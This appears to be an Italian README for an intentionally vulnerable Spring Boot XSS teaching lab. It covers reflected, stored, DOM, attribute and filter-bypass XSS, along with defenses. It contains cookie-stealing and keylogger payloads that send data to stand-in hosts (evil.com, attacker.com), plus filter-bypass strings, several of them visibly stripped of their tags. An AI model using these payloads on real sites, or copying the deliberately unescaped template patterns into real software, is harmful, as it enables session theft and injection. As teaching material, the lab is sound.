Share
## https://sploitus.com/exploit?id=59B5FCC2-F3C6-535A-A721-908E4FD15CA3
# Cross-Site Scripting (XSS) Lab πŸ”’

Un laboratorio educativo completo per testare e comprendere le vulnerabilitΓ  Cross-Site Scripting (XSS) nelle applicazioni Java. Questo progetto dimostra approcci vulnerabili alla gestione dell'input utente utilizzando Spring Boot e Thymeleaf esclusivamente per scopi educativi.

## 🎯 Scopo del Progetto

Questo progetto Γ¨ stato progettato per gli sviluppatori per:

- Comprendere i vettori di attacco XSS
- Imparare a identificare pattern di codice vulnerabili
- Analizzare le tecniche di attacco XSS
- Studiare le vulnerabilitΓ  di sicurezza nelle applicazioni web
- Implementare correttamente le difese contro XSS

## πŸ“‹ Prerequisiti

- **Java** 21 o superiore
- **Maven** 3.8.9 o superiore
- **Spring Boot** 3.5.7 (con Spring Web MVC e Thymeleaf)
- **Database** SQLite (embedded, in-memory)
- **Browser** Web Moderno (Chrome, Firefox, Edge, Safari) per accedere all'interfaccia web interattiva

## πŸ” Riepilogo Attacchi XSS

Questo progetto implementa **5 tipi di attacchi XSS** con implementazioni vulnerabili:

| Tipo di Attacco | Implementato | Esempio Payload | Impatto |
|----------------|--------------|-----------------|---------|
| **Reflected XSS** | βœ… SΓ¬ | `?name=alert('XSS')` | Esecuzione script immediata |
| **Stored XSS** | βœ… SΓ¬ | Commento: `document.location='http://evil.com?c='+document.cookie` | Persistente, colpisce tutti gli utenti |
| **DOM-based XSS** | βœ… SΓ¬ | `#` | Client-side, difficile da rilevare |
| **Advanced XSS** | βœ… SΓ¬ | `ipt>alert('XSS')` | Bypass di 5 filtri di sanitizzazione deboli |
| **Attribute XSS** | βœ… SΓ¬ | `href="javascript:alert('XSS')"` | Injection tramite attributi HTML |

## πŸ—οΈ Struttura del Progetto

```
laboratorio-xss/
β”œβ”€β”€ src/
β”‚   β”œβ”€β”€ main/
β”‚   β”‚   β”œβ”€β”€ java/com/xsslab/
β”‚   β”‚   β”‚   β”œβ”€β”€ App.java                                    # Punto di ingresso Spring Boot
β”‚   β”‚   β”‚   β”œβ”€β”€ controllers/                                # Layer Controller (MVC separato per tipo XSS)
β”‚   β”‚   β”‚   β”‚   β”œβ”€β”€ WebViewController.java                  # Dashboard, profilo, ricerca, reset database
β”‚   β”‚   β”‚   β”‚   β”œβ”€β”€ ReflectedXssController.java             # Controller dedicato Reflected XSS
β”‚   β”‚   β”‚   β”‚   β”œβ”€β”€ StoredXssController.java                # Controller dedicato Stored XSS (commenti)
β”‚   β”‚   β”‚   β”‚   β”œβ”€β”€ DomXssController.java                   # Controller dedicato DOM-based XSS
β”‚   β”‚   β”‚   β”‚   β”œβ”€β”€ AdvancedXssController.java              # Controller dedicato Advanced XSS (5 filtri)
β”‚   β”‚   β”‚   β”‚   β”œβ”€β”€ AttributeXssController.java             # Controller dedicato Attribute XSS
β”‚   β”‚   β”‚   β”‚   └── UserController.java                     # API REST utenti e profili
β”‚   β”‚   β”‚   β”œβ”€β”€ services/                                   # Layer Service (Business Logic)
β”‚   β”‚   β”‚   β”‚   β”œβ”€β”€ UserService.java                        # Logica business utenti/profili
β”‚   β”‚   β”‚   β”‚   β”œβ”€β”€ StoredXssService.java                   # Logica business commenti (Stored XSS)
β”‚   β”‚   β”‚   β”‚   └── AdvancedXssService.java                 # Logica 5 filtri deboli (Advanced XSS)
β”‚   β”‚   β”‚   β”œβ”€β”€ repositories/                               # Layer Repository (Data Access)
β”‚   β”‚   β”‚   β”‚   β”œβ”€β”€ UserRepository.java                     # CRUD utenti
β”‚   β”‚   β”‚   β”‚   β”œβ”€β”€ CommentRepository.java                  # CRUD commenti (VULNERABILE)
β”‚   β”‚   β”‚   β”‚   └── ProfileRepository.java                  # CRUD profili
β”‚   β”‚   β”‚   β”œβ”€β”€ config/
β”‚   β”‚   β”‚   β”‚   └── DataSourceDirectoryInitializer.java     # Inizializzatore directory database
β”‚   β”‚   β”‚   └── utils/
β”‚   β”‚   β”‚       └── DatabaseConnection.java                 # Utility connessione SQLite
β”‚   β”‚   └── resources/
β”‚   β”‚       β”œβ”€β”€ application.properties                      # Configurazione Spring Boot
β”‚   β”‚       β”œβ”€β”€ schema.sql                                  # Schema database SQLite
β”‚   β”‚       β”œβ”€β”€ static/                                     # Risorse statiche
β”‚   β”‚       β”‚   β”œβ”€β”€ css/
β”‚   β”‚       β”‚   β”‚   β”œβ”€β”€ dashboard.css                       # Stili dashboard
β”‚   β”‚       β”‚   β”‚   └── attack-pages.css                    # Stili pagine XSS
β”‚   β”‚       β”‚   └── js/
β”‚   β”‚       β”‚       └── common.js                           # Funzioni JS comuni
β”‚   β”‚       └── templates/                                  # Template Thymeleaf
β”‚   β”‚           β”œβ”€β”€ dashboard.html                          # Dashboard con 5 card XSS
β”‚   β”‚           β”œβ”€β”€ reflected-xss.html                      # Reflected XSS (cookie stealing demo)
β”‚   β”‚           β”œβ”€β”€ stored-xss.html                         # Stored XSS (commenti persistenti)
β”‚   β”‚           β”œβ”€β”€ dom-xss.html                            # DOM-based XSS (manipolazione client-side)
β”‚   β”‚           β”œβ”€β”€ advanced-xss.html                       # Advanced XSS (5 filtri: simple, case-insensitive, blacklist, escape, protocol)
β”‚   β”‚           └── attribute-xss.html                      # Attribute XSS (href, src, event handlers)
β”‚
β”œβ”€β”€ data/                                                    # Directory database (creata automaticamente)
β”‚   └── xsslab.db                                           # File database SQLite persistente
β”‚
β”œβ”€β”€ pom.xml                                                  # Configurazione Maven (Spring Boot 3.5.7, Java 21)
β”œβ”€β”€ .gitignore                                               # Regole Git Ignore
└── README.md                                                # Documentazione progetto
```

## πŸ”„ Panoramica Architettura

Questo progetto utilizza un'architettura a tre livelli con implementazioni vulnerabili per scopi educativi, piΓΉ un'interfaccia web interattiva per il testing:

### 🌐 ARCHITETTURA MVC SEPARATA PER TIPO XSS

```
Browser β†’ GET /reflected-xss?name=alert('XSS')
    ↓
ReflectedXssController (@RequestMapping("/reflected-xss"))
    ↓
Template Thymeleaf (reflected-xss.html)
    ↓
th:utext rende HTML NON escaped β†’ ⚠️ XSS eseguito!
```

### πŸ”΄ PERCORSO STORED XSS (Architettura a 3 Layer)

```
POST /stored-xss/comments
    ↓
StoredXssController (@RequestMapping("/stored-xss"))
    ↓
StoredXssService (NON sanitizza)
    ↓
CommentRepository (Memorizza senza encoding)
    ↓
Database SQLite (Script malevolo memorizzato!)
    ↓
GET /stored-xss (tutti gli utenti)
    ↓
StoredXssService.getAllComments()
    ↓
Template Thymeleaf (th:utext)
    ↓
Browser ESEGUE script per TUTTI gli utenti
```

### 🎯 ADVANCED XSS (5 Filtri Deboli)

```
POST /advanced-xss?filterType=1&input=ipt>alert(1)
    ↓
AdvancedXssController
    ↓
AdvancedXssService.applyFilter(input, filterType)
    β”œβ”€β”€ Filter 1: Simple removal (replace once)
    β”œβ”€β”€ Filter 2: Case-insensitive ((?i) regex)
    β”œβ”€β”€ Filter 3: Event blacklist (onerror, onload, onclick)
    β”œβ”€β”€ Filter 4: HTML escape ( to < >)
    └── Filter 5: Protocol removal (javascript:)
    ↓
Template mostra: input originale, filtrato, e ESEGUE filtered con th:utext
    ↓
Bypass dimostrato con payload specifici per ogni filtro
```

## πŸš€ Avvio Rapido

### 1. Compilare il Progetto

```bash
# Compilare senza eseguire i test
mvn clean package -DskipTests

# Compilare con i test
mvn clean package
```

### 2. Eseguire l'Applicazione

```bash
# Opzione 1: Usando Maven
mvn spring-boot:run -DskipTests

# Opzione 2: Eseguire il file JAR
java -jar target/xss-lab-1.0.0.jar
```

L'applicazione si avvierΓ  su `http://localhost:8080`

### 3. Accedere all'Interfaccia Web 🌐

**URL Dashboard:** `http://localhost:8080`

#### Pagine di Attacco:

1. **Reflected XSS** - `/reflected-xss` - Script riflesso immediatamente + cookie stealing demo
2. **Stored XSS** - `/stored-xss` - Commenti persistenti con script eseguiti per tutti gli utenti
3. **DOM-based XSS** - `/dom-xss` - Manipolazione DOM client-side (innerHTML, document.write)
4. **Advanced XSS** - `/advanced-xss` - 5 filtri di sanitizzazione deboli con bypass dimostrati
5. **Attribute XSS** - `/attribute-xss` - Injection tramite attributi HTML (href, src, event handlers)

## πŸ”Œ Endpoint API

### πŸ”΄ Endpoint Vulnerabili ⚠️

Questi endpoint dimostrano vulnerabilitΓ  XSS senza sanitizzazione dell'input/output:

#### 1. Ottieni Utente per ID (Stored XSS)

```http
GET http://localhost:8080/users/{id}
```

**Esempio attacco:** Se username contiene `alert('XSS')`, viene restituito senza encoding.

#### 2. Cerca Utenti (Reflected XSS)

```http
GET http://localhost:8080/users/search?q={searchTerm}
```

**Esempio attacco:**
```http
GET http://localhost:8080/users/search?q=alert('XSS')
```

- **Risultato attacco:** Il parametro di ricerca viene riflesso nella risposta senza encoding

#### 3. Crea Commento (Stored XSS)

```http
POST http://localhost:8080/stored-xss/comments
Content-Type: application/x-www-form-urlencoded

userId=1&content=alert('Stored XSS')
```

**Esempi di attacco:**

```http
# Cookie Theft
content=new Image().src='http://attacker.com/steal?c='+document.cookie

# Keylogger
content=document.onkeypress=function(e){fetch('http://attacker.com/log?key='+e.key)}

# Page Defacement
content=document.body.innerHTML='HACKED!'
```

- **Risultato attacco:** Lo script viene memorizzato e eseguito per TUTTI gli utenti che visualizzano i commenti

#### 4. Ottieni Tutti i Commenti (Stored XSS)

```http
GET http://localhost:8080/comments
```

- **Risultato attacco:** Restituisce commenti con script non sanitizzati

#### 5. Aggiorna Profilo (Stored XSS)

```http
PUT http://localhost:8080/profile/{userId}
Content-Type: application/x-www-form-urlencoded

bio=alert('XSS')&website=javascript:alert('XSS')&location=
```

- **Risultato attacco:** Dati del profilo memorizzati senza sanitizzazione

#### 6. Echo Endpoint (Reflected XSS)

```http
GET http://localhost:8080/echo?message={message}
```

**Esempio attacco:**
```http
GET http://localhost:8080/echo?message=alert(document.cookie)
```

- **Risultato attacco:** Riflette qualsiasi input senza encoding

#### 7. Crea Utente (Stored XSS source)

```http
POST http://localhost:8080/users
Content-Type: application/x-www-form-urlencoded

username=&password=test123&email=test@test.com
```

- **Risultato attacco:** Username malevolo memorizzato nel database

## 🎯 Tipi di XSS Dimostrati

### 1. Reflected XSS

Injection diretta dove l'input malevolo viene immediatamente riflesso nella risposta HTTP.

**Esempio Attacco:**
```
GET /reflected-xss?name=alert('XSS')
```

**Rischio:** Esecuzione immediata di script, furto di cookie, phishing

### 2. Stored XSS (Persistent XSS)

Lo script malevolo viene memorizzato nel database e viene eseguito ogni volta che i dati vengono recuperati.

**Esempio Attacco:**
```
POST /stored-xss/comments
content=new Image().src='http://attacker.com?c='+document.cookie
```

**Rischio:** Colpisce TUTTI gli utenti che visualizzano i dati compromessi

### 3. DOM-based XSS

La vulnerabilitΓ  esiste nel codice JavaScript client-side che manipola il DOM con dati non sicuri.

**Esempio Attacco:**
```javascript
// URL: /dom-xss#
document.write(location.hash);  // ⚠️ VULNERABILE
```

**Rischio:** Difficile da rilevare, WAF non puΓ² bloccare

### 4. Advanced XSS (Filter Bypass)

Dimostra il bypass di 5 diversi tipi di filtri di sanitizzazione deboli.

**Filtri Implementati:**

1. **Simple Script Removal** - `replace("", "")` una sola volta
   - Bypass: `ipt>alert(1)` β†’ dopo filtro diventa `alert(1)`

2. **Case-Insensitive Removal** - `replaceAll("(?i)", "")`
   - Bypass: `` (vettore alternativo)

3. **Event Handler Blacklist** - Rimuove `onerror`, `onload`, `onclick`
   - Bypass: `` (evento non in blacklist)

4. **HTML Escape** - Converte `` in `>`
   - Bypass: Questo filtro Γ¨ **effettivo** se applicato correttamente

5. **JavaScript Protocol Removal** - Rimuove `javascript:`
   - Bypass: `JaVaScRiPt:alert(1)` (case variation)

**Rischio:** I filtri blacklist sono sempre bypassabili

## ⚠️ Note Importanti sulla Sicurezza

> **⚠️ AVVERTIMENTO:** Questo progetto contiene codice intenzionalmente vulnerabile a scopi educativi. **NON usare questo codice in produzione!**

### Best Practices per Produzione:

1. **Output Encoding**: Usa sempre encoding appropriato per il contesto (HTML, JavaScript, URL, CSS)
2. **Content Security Policy (CSP)**: Implementa CSP header per bloccare script inline e non autorizzati
3. **HTTPOnly Cookies**: Proteggi i cookie di sessione con flag HTTPOnly e Secure
4. **Input Validation**: Valida e sanitizza TUTTI gli input utente
5. **Template Engine Safe**: Usa funzioni di template che eseguono auto-escaping (Thymeleaf `th:text`)
6. **Avoid innerHTML**: Usa `textContent` o `innerText` invece di `innerHTML`
7. **Security Headers**: Implementa X-XSS-Protection, X-Content-Type-Options
8. **Regular Updates**: Mantieni aggiornate le dipendenze per evitare vulnerabilitΓ  note
9. **Security Testing**: Esegui penetration testing e code review regolari

### Codice Sicuro vs Vulnerabile:

```java
// ⚠️ VULNERABILE
  // NON esegue escaping

// βœ… SICURO
   // Esegue HTML escaping automatico
```

```javascript
// ⚠️ VULNERABILE
element.innerHTML = userInput;  // Esegue script

// βœ… SICURO
element.textContent = userInput;  // NON esegue script
```

## πŸ“Š Stack Tecnologico

| Tecnologia | Versione | Scopo |
|------------|----------|-------|
| Spring Boot | 3.5.7 | Framework Web |
| Java | 21 | Ambiente Runtime |
| SQLite | 3.49.1.0 | Database embedded |
| Maven | 3.8.9+ | Strumento Build |
| Thymeleaf | Latest | Template Engine |
| Font Awesome | 6.4.2 | Libreria Icone |

## πŸ“ Configurazione Applicazione

`application.properties`

```properties
spring.application.name=xss-lab
server.port=8080

# Database SQLite
spring.datasource.url=jdbc:sqlite:data/xsslab.db
spring.datasource.driver-class-name=org.sqlite.JDBC

# Inizializza schema database all'avvio
spring.sql.init.mode=always

# Thymeleaf - cache disabilitata per sviluppo
spring.thymeleaf.cache=false
```

## πŸ—„οΈ Schema Database

**Tabella Users**
```sql
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    password TEXT NOT NULL,
    email TEXT NOT NULL,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
```

**Tabella Comments**
```sql
CREATE TABLE comments (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    user_id INTEGER NOT NULL,
    content TEXT NOT NULL,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id)
);
```

**Tabella Profiles**
```sql
CREATE TABLE profiles (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    user_id INTEGER NOT NULL UNIQUE,
    bio TEXT,
    website TEXT,
    location TEXT,
    avatar_url TEXT,
    FOREIGN KEY (user_id) REFERENCES users(id)
);
```

## πŸ“š Obiettivi di Apprendimento

Dopo aver lavorato con questo progetto, dovresti comprendere:

1. βœ… **Fondamenti XSS** - Cos'Γ¨ XSS e come funziona
2. βœ… **Vettori di Attacco** - 5 diversi tipi di attacchi XSS
3. βœ… **Pattern Codice Vulnerabile** - Mancata sanitizzazione e encoding
4. βœ… **Differenze tra XSS** - Reflected vs Stored vs DOM-based vs Attribute
5. βœ… **Filter Bypass** - PerchΓ© i filtri blacklist falliscono (5 esempi)
6. βœ… **Output Encoding** - Quando e come encodare correttamente
7. βœ… **Content Security Policy** - Implementare CSP per mitigare XSS
8. βœ… **Secure Coding** - Best practices per prevenire XSS
9. βœ… **Testing XSS** - Come testare e identificare vulnerabilitΓ  XSS
10. βœ… **Architettura MVC** - Separazione controller/service/repository per tipo di attacco

## πŸ”§ Difese contro XSS

### 1. Output Encoding

```java
// βœ… Thymeleaf - Auto-escaping


// βœ… JavaScript
element.textContent = userInput;  // Sicuro
const encoded = encodeURIComponent(userInput);  // Per URL
```

### 2. Content Security Policy (CSP)

```java
// Aggiungere al Controller o Filter
response.setHeader("Content-Security-Policy", 
    "default-src 'self'; script-src 'self'; object-src 'none'");
```

### 3. HTTPOnly Cookies

```java
Cookie cookie = new Cookie("sessionId", sessionId);
cookie.setHttpOnly(true);  // βœ… Non accessibile da JavaScript
cookie.setSecure(true);    // βœ… Solo HTTPS
```

### 4. Input Validation

```java
// Validazione whitelist
public boolean isValidInput(String input) {
    return input.matches("^[a-zA-Z0-9 ]+$");  // Solo alfanumerici
}

// Sanitizzazione con librerie
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;

PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
String safe = policy.sanitize(untrustedHTML);
```

## πŸ“š Risorse Aggiuntive

- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [OWASP Top 10 - A03:2021 Injection](https://owasp.org/Top10/A03_2021-Injection/)
- [Content Security Policy Reference](https://content-security-policy.com/)
- [DOMPurify Library](https://github.com/cure53/DOMPurify)
- [OWASP Java HTML Sanitizer](https://github.com/OWASP/java-html-sanitizer)

## 🀝 Contribuire

I contributi sono benvenuti! Sentiti libero di:

- Segnalare problemi o vulnerabilitΓ 
- Suggerire miglioramenti
- Aggiungere piΓΉ casi di test
- Migliorare la documentazione

## πŸ“„ Licenza

Questo progetto è fornito così com'è a scopi educativi.

## πŸ‘¨β€πŸ’» Autore

Creato come laboratorio educativo per il testing e l'apprendimento delle vulnerabilitΓ  XSS.

---

**⚠️ DISCLAIMER:** Questo progetto è solo per scopi educativi. Non utilizzare queste tecniche su sistemi reali senza autorizzazione esplicita.